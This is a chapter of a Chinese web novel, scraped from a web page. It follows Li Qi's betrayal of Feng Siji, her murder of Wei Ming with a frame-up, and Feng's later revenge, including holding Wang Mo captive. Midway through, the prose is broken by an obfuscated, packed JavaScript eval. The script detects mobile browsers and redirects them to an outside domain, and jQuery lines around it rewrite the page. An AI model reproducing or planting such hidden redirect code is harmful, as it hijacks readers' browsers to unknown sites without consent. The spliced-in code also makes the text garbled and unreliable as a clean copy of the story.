第31章筑金屋(1)
双手双脚皆被绑住,冯斯疾失去最基本的行动力,这种被束缚的、脱离了他掌控的感觉让他无比狂躁,心头血翻涌着往天灵盖冲。
他愤恨的试图挣扎,可李绮是摸爬打滚才活下来的人,做任何事她都做到极致,连打的绳结都很有技巧,哪怕他被提为大理寺卿时曾被父亲训练过自解绳结,现在他也挣脱不开。
粗壮的绳子紧勒住手腕,他越是挣扎,手腕越是被磨出热辣辣的痛意。
“别白费力气了,我打的绳结除了我自己,没人能解开。”
冯斯疾想说点儿什么,一张嘴,却是又喷出一滩血来,恰时门扉打开,丽妃娘娘身穿常服步入屋内,她身后跟着董临澈和夜阑。
董临澈一改往日的幼稚年少,眉目间压抑的沉稳不输给而立之年的人,夜阑也不似从前那般闲慢懒散,他们二人走过来,在他身后左右两边排开,随即弯腰下来,一左一右驾起冯斯疾的手臂。
李绮冷声吩咐:“把他送到马车里,我和娘娘带他去节度府。”
二人低沉不语,把他从地面架起来往外走。
路过李绮的身边,他嗅到她身上的冷梅香气,看见她乌发中斜插着他赠送的那支桃花簪,他不甘又愤恨,望眼欲穿地盯着她,期待从她身上看见哪怕一丝的不忍、犹豫,那样他兴许还能哄哄自己,她对他还是有情分的,在黔州这段日子不只是做戏。
可是没有。
什么都没有。
她从头至尾没有看他一眼,也没有任何动作,只是冷漠旁观,吩咐人把他送上马车,又用帕子堵住他的嘴不让他发生。
所有行径走得行云流水,董临澈和夜阑没有一丝迟疑,那娴熟的模样,若是没有提前算计演练过他都不信。
出了庭院,才看见页书也被五花大绑地靠在梅花树下,他旁边是生香在守。
丽妃娘娘的人,以那个李恪为首带人堵住了院外,没有人能进来知道真相。
冯斯疾看着这些的这些,每个步骤都几乎完美无缺,环环相扣的算计本事,除了李绮还能有谁?
这一刻伤愤到极致,起先的发懵和混乱渐渐散去,头脑变得前所未有的清明,他将一切连起来想了一遍,王默是她的人,他一直被王默打杀,赶到路边被她救下;她去节度府弹琴,董临澈‘年少轻狂’提剑去找节度使,他为报恩跟去,对被压迫的李绮产生怜悯,一旦有了怜悯,很多事就都变了。
后来呢?她故意露出破绽,让他知道金山,又让王默恰到好处的告诉他金山是空的,他陪她去看,遇见所谓的刺客……她为他挡箭,让他感动非常付诸真心,哄得他说愿意为她去死。
原来都是假的,每一桩每一件都是她的算计。她远不似表面这般鲜亮明快,她的心暗沉无光,只有为达目的不择手段的狠辣。
难怪他们在山洞时,夜阑和董临澈能刚刚好地找到他们,还带了药、衣物和吃食。
难怪她对金山里究竟有什么根本不好奇,董临澈下去查看也只是幌子。
——“我们一起回京都,共携手相扶持,以后听竹苑就是我们的家。”
是她‘露馅’那晚说的甜言蜜语,他记得那晚的风很浅,听竹苑很静,之后他们还一起抢了腊八粥。
——“你从前有过别的姑娘吗?”
是她让他夜晚留下来陪她,枕着他的手甜甜入睡,朦胧之中问的话。他记得那时她的手为了弹琴红肿,给她上药时,她一直盯着他看,还说他长得真好看。
——“等我们一回京都就成亲。”
是昨日在梅林她的应允,那时茶香四溢,冷梅沁香。
——“我答应绝不伤及你的性命。”
眼前闪过一帧又一帧,像一把一把的匕首,一次次划在他心口,事实上她也的确在他心服处刺了把刀,冯斯疾再也无法克制,摔倒在马车的地面不停发抖,被堵住的喉咙里发出痛苦的呜咽,时高时低,像孤雁被一箭射中命脉前的一声嘶鸣。
他双眼和面颊憋得通红,不甘忿恨地躺在低处,望着坐在高处的李绮。
李绮头一次这么直观的看一个人崩溃,原来真的有如山崩海啸,她不由得捏紧掌心,胸口发闷地说:
“你不必用这种眼神看我,那年我差点被冻死在街头,其实我一点儿都不喜欢雪,可是我喜欢的梅花却开放在寒冬,我想看花,就得接受冬的冷。你想看我对你笑、对你好、对你卖弄风情,就得接受我只是在利用你的事实。”
她腰背笔直,高高在上,自上而下的俯视他,眼睛里没有任何情感。而他宛如蛆虫,卑微地匍匐在她脚边。
身下的马车动了,颠簸颠簸地开始进城。
他在她脚边匍匐着,挪动着,想要靠近李绮,口中的呜咽一声高过一声,那双素来沉静平和的眼底,犹如滔天骇浪翻卷而起,狂风骤雨般猛烈地拍向她。
马车突然猛地颠簸,将他甩向李绮。他终于来到她身边,用力地爬起来,可双手双脚都被捆绑,他只能跪在她的双膝前,仰头用一种渴求的目光看着她不停地呜咽。
他有话想说,用眼神恳求她拿走堵住他的布团。
然而她只是淡淡看了他一眼就别开目光,不去看他,也不去理会。她不想听他说话,害怕一旦听见他的声音会忍不住心软。
冯斯疾就那么看了她半晌,只觉自己好似才认识她,她不是从前的热烈和直白,她分明冷漠无情。
他的眼神渐渐趋于平静,再无惊天骇浪,也无狂风骤雨,宁静得如同一潭不起任何涟漪的湖面,透出沉沉的死寂。
好像没有什么可期待的了,事已成定局,从他踏入黔州的那一刻,就走入了她精心设计的局。是他太渴求落魄潦倒时能拯救他的光,才会忽略她所有的异常,跳进这个陷阱里。
他弯下头,枕靠在李绮的双膝上,能感受到她的体温从脸颊传来,也能感受到腹部源源不断往外冒的血,狭窄的车厢里,弥散着他的血腥气。
他突然变得安静,李绮的心头反而不安起来,或是忐忑或是怜悯的诸多情感纷杂而来,一起涌上心梢,她望着冯斯疾靠在她双膝上的脑袋,忍不住伸出手轻轻抚摸他的发,他的发质硬而黑,扎得手心有些痒痒的。
她什么也没说,他慢慢闭上眼睛。
-
马车抵达节度府,夜已深,节度府里四处寂静。
李绮先下马车,和王默接头,王默开了通往绮丽堂的密道,给她和董明容转移冯斯疾的路。
冯斯疾的魂魄仿佛抽离,麻木呆滞得好像看不到任何事物,只觉得眼前黑漆漆的一片,就连那些从眼前闪过的绮丽堂的明辉,都仿佛笼罩了一层黑雾。
虽有光彩,但什么都是灰蒙蒙的,他知道,那是蒙了一层绝望的眼睛,看什么都不会有色彩。他听见她们商量怎么把他带进绮丽堂,感受到他们一前一后像抬尸体那样,把他从一条狭窄黑暗的小道抬进了富丽堂皇的绮丽堂。
王默和丽妃娘娘都退了出去,不一会儿,门扉又被推开了,他眨了眨干涩的眼,看见魏鸣负手踱步进来。
李绮笑盈盈地迎了上去,笑着说:“我答应你的事可都做到了,下一位是张大人。”
她的笑容好刺眼,冯斯疾忍不住眯起被刺痛的眼。
魏鸣高兴地笑着走到冯斯疾跟前,没注意到李绮一直跟在他身后,他只觉得惊讶李绮办事竟然这么漂亮,对她的欣赏不由地加深几分。
上次她来练琴时就说过,可以帮他除掉冯斯疾和张洲竹这两个威胁,没想竟然手脚这么快。
他看着冯斯疾狼狈的模样,哈哈大笑:“陛下如今在群芳楼欣赏歌舞,自从他来就没有过问过你,别以为陛下会救你。你上次拿京都的秘密来换李绮的自由,怎么样,你究竟换到了她的自由,还是换到了自食恶果?”
他话音刚落,脖颈忽然一痛,一道红色的线从眼前飙了出去,他未来得及反应便整个人跌躺在地,等意识到那从眼前闪过的红线是自己喉咙飙出去的血时,他已经没了气息。
李绮用那把匕首,从他后面一刀割喉,动作干净利落。
这一日她在脑海里演练了无数遍,当真正动手的时候,她万分从容。
李绮蹲下身,把匕首塞到冯斯疾的手中,冯斯疾已经没有力气,他靠在桌腿上,脑袋往下垂。
她抬起他的脸,用力握紧他的手,语气冷静得令人发指:“你今日与你倾慕已久的李乐人成亲,可李乐人又被叫来弹琴,你不满,来找她的时候,与节度使大人产生摩擦,他想杀你,你为了自保,失手将他杀害。”
冯斯疾眼前的她很模糊,他尽力聚焦看着她的脸,什么也说不出来,
“若是陛下彻查此案,你便照着这番话回答。如若你告诉所有人真相,我会死,你忍心看我去死吗?”言罢她弯腰,在他干裂的唇上轻轻一吻。
冯斯疾忍不住勾唇,一个惨淡又无力的笑,她真是冷静心狠到令人发指,在他濒死时刻还在用温柔做刀来利用他。
“冯大人,我走了,我们后会无期。”她站起身退开。
他一个人在寂静而繁华的绮丽堂里,听见外头响起吵杂之声。有人喊节度使杀了大理寺卿,也有人喊节度使没了,更有人一一列出魏鸣在黔州的多条罪过,最后宣布将节度府抄个干净。
他迷糊之间认出来,那是李恪的声音,从他念出的内容来看,那是一封圣旨。
看来这次丽妃娘娘来黔州,就只是为了协助李绮。李绮应该会随她一起去京都。
一阵杂乱纷瓤的抄家声过后,院外安静下来,冯斯疾听见有人在商量,该如何把绮丽堂下方密室里藏的金子全部运走。
这就是李绮一直在等的一刻啊。
她早就知道金山是空的,魏鸣怕有多方人觊觎,早早挖空存在了绮丽堂。
那一阵安静过后,冯斯疾累得快要睡着时,又听外头传来更激烈的嘈杂,似乎是丽妃娘娘遭了刺客,而李绮为她挡了一箭。
冯斯疾明明已经没了力气,但听到这儿,却还是按捺不住对她的担忧,他爬过魏鸣的尸体,衣裳沾染魏鸣的鲜血,爬到门缝边往外看,见外头一团乱糟糟的,梁帝似乎回来了,得知丽妃没受伤,大松了口气,质问那被抓获的刺客何故杀害娘娘。
他仔细看去,那刺客竟是王默。
冯斯疾自嘲一笑,竟然这个时候还在担心她。王默效忠于李绮,这场刺杀又是她的计划吧?他真是多虑了,她这样心思歹毒又深沉的人,怎么可能让自己陷入险境?
果然下一刻就见丽妃娇弱地靠在梁帝怀中,哭道:“陛下,李乐人护臣妾有功,还受了伤,臣妾喜欢听她弹琴,就把她一起带去京都吧?”
冯斯疾不再去看,背过身躺在地面,他远处的对面就是魏鸣的尸体。
她终于得偿所愿,得了金子,陪丽妃一起去京都,此番有救嫔妃的功劳在身,进了京必当是享不尽的荣华富贵。
他不知躺了多久,地板很冷,他快要失去知觉,听着外头的声音渐渐归为寂静,陛下等人离开了,节度府成了一座空空的府邸,不知李绮用了什么计谋说辞,无人来管魏鸣的尸首。
他看着魏鸣的血流尽了,再干涸,看着外面的天色亮了暗,暗了亮。
他煎熬地在这一方只有魏鸣尸体的天地里,好像被所有人遗弃,失去了对时辰的感知,只知道天黑了会亮,天亮了会黑,周而复始,周而复始,但李绮一走,却再也不会回来。
恨意的种子悄悄埋在心里,他至此把李绮这个名字深刻进骨头里,等待着重逢的那一日。
-
这就是他们的第一年,从相遇到之后发生的每一桩每一件,都是她的算计,最终以他和魏鸣的尸体共度三日而悲剧收场。
但页书后来说得不错,其实他什么都知道,什么都明白,可还是落得匕首穿心的下场,是他活该。他没有及时止损,他一直在相信李绮,甘之如饴成为她往上爬的棋子。
就如李绮所说,是他有私心,既然想要看她对他笑、对他卖弄,那就得接受被她利用的结果。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919881|175110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
距离黔州往事已经过去三年,这是他们认识的第五年。
眼下是他和她在新的地方——京都的第一年。
这一次在京都,他是调查丽妃一案的特案使,再不是那窘迫潦倒的前大理寺卿,但她仍然是那个外表光鲜内里不受人待见的孤女,于他而言,他们之间才刚刚开始。
现在她就在眼前,还傻傻地以为他还是那个善良容易红脸的冯大人,他有太多太多握住她命脉的机会了。
“今年也要一起过春节,”她拉着他的手问:“你答应吗?”
冯斯疾看向她抓住自己衣袖的玉指,点点头,用以前在黔州对她那种温和宁静的声音说:“好。”
“那我们去清溪村,我在那儿新置了一处宅子,你喜欢清净,肯定也会喜欢那里的。”
听见‘清溪村’三个字,冯斯疾一怔,想起那地方就是他的故乡,那一年父亲的尸首被运回之后,母亲没多久也抑郁而终,后来他离开了就再也没有回去。
他都快忘了,传说清溪村人杰地灵,出了两位科举状元,便是他和父亲二人。
最近他又回去了,早早就在那里修了一座藏金阁,为的就是与她光明正大重逢的这一刻。
在黔州她伪装得很好,他也学了三分演技,轻轻冲她一笑:“是吗?虽然从没去过,但既是你选的地方必定不差,或许是跟听竹苑一样的世外桃源,处处充满着安宁祥和的生活气息。”
李绮就想起那高耸入云的藏金阁,那样奢华美丽,只有辉煌没有生活,她诚实地摇摇头,说没有。
冯斯疾笑意更深:“无妨,只要我陪你一起住进去,迟早都会有。”
他摸了摸她的头发,道:“你先去,我还有些事,等会儿再来寻你。”
咚——
祠堂香案后方,突然传来一声闷响,李绮把正要出口的话吞了回去,侧头望那后方,后面是一堵墙,是祠堂的尽头了,怎会有声音?
“你方才听见什么声音了吗?”她问。
“是页书在习武。”
李绮仔细一听,还真是,她收起注意力,对他道:“清溪村难找,我怕你找不到。等戌时吧,我在城外等你。”
他点头笑应:“好。”
李绮路过他离去,他笑着目送她,直至她俏红色的身影消失在视线,他面上的笑容才一寸寸消失,那张冷峻的面上一层层覆满寒霜,目光森冷地走向祠堂后方。
他伸手按在坚冷的墙面,用力一推,那面墙便往后转开,露出里头不大不小的一个黑漆漆的屋子来。
随着他走入黑屋子,那面墙自动转了回去,把这方天地挡住,从外头看它依然只是一堵墙。
屋里有一扇狭窄到可以忽略的小窗,彼时有几束天光施舍一般从窗户漏进,微微照亮屋里的事物。
墙角摆放一张小小的床,床下两根铁链延伸出来,拴住一个蓬头垢面,因太久没有梳洗而散发臭味的人,他手边还摆放着没有吃已经发臭的饭菜。
冯斯疾俯视而下,看他的眼神像是在看蝼蚁,微不足道的、可以被他轻轻碾死的蝼蚁,他轻轻踢了那人一脚:“抬头。”
那人猛地向后一缩,条件反射般的发抖起来,他双手合十对着冯斯疾连连跪拜磕头,呜咽个不停:“我错了我错了,饶了我……”
他说完也不忘记不敢违背眼前之人的命令,慢慢抬起头来。
那张脸脏得不成样,几乎只能看清楚一双黑不溜秋的眼睛,可是这张脸冯斯疾永远都认得,哪怕是化成灰也能一眼认出,是当初跟李绮一起在黔州算计他的王默。
冯斯疾捡起散落在墙角的一把匕首,含笑蹲在他跟前,用雪亮的匕首轻轻拍打他的脸,阴恻恻地道:“方才是你拍门?你不会是想让她救你出去吧?”
感受到匕首拍击脸颊的冰冷,王默抖如筛糠,恐惧地哭嚎道:“不敢,小的不敢……”
他扑上前,拴住他的锁链随之发出叮咚的脆响,一把抱住冯斯疾的腿,仰头如望神明般乞问:“小的只是想问问,到底什么时候可以去为你作证?”只要做了证,他就可以离开这里了,他快受不了这被囚禁的日子了。
冯斯疾笑了下,那笑容只让王默感到一股寒意窜上后脊梁,他森然道:“快了,很快了。”
默了一会儿,他又道:“你方才看见她了,觉得她和黔州相比怎么样?”
王默低头,他还不清楚冯斯疾对李绮是什么心思和情感,便不加修饰地狠狠道:“她变了很多,眼神比以前更狠了,我猜她现在心肠一定更黑……”
他迸出的字句里丝毫不掩饰对李绮的恨意,当初说好金子分半,她却用丽妃压他,只给了五片金叶子便离开。他气不过,去找冯斯疾想跟他联手报仇,把金子抢回来。
冯斯疾表面答应,与他称兄道弟,还来和他拼酒,他喝高了,睡在了他独自居住的听竹苑,等再醒来时,他已经被冯斯疾锁起来了。
王默后来才知道,人都是会变的,自打李绮抛弃冯斯疾之后,冯斯疾就变了。
他不再是那个人人爱戴、事事为民的清官,他好似发了疯,手段比李绮更狠千百倍,魏鸣留下来的人,全被他残忍杀害,就连那卖檀木的老者也死在他手中。
从绮丽堂的婢女,到群芳楼的妈妈,与李绮结过仇欺负过她的,和得到她示好过表达过情谊的,没有一个活下来。
他依附上了新来的节度使,在黔州几乎是横着走,他再不似从前那样会与人谈天说地,他沉默寡言,独来独往,幽灵一般穿行在黔州各个角落。
很长一段时间里没有人摸得清楚他的心肠究竟是好是坏。
直到后来他告诉王默,他杀的那些人都是与李绮有关,他恨李绮,他想报仇。
囚禁王默是为给魏鸣翻案,将节度府被抄的真相公诸于众,用这个罪名狠狠将李绮打落深渊。
黔州那场谋划里,李绮是主谋,自己却只是一个小喽啰都被他如此对待,王默不敢想,身为主谋的李绮若是真落到他手里,会是个什么下场。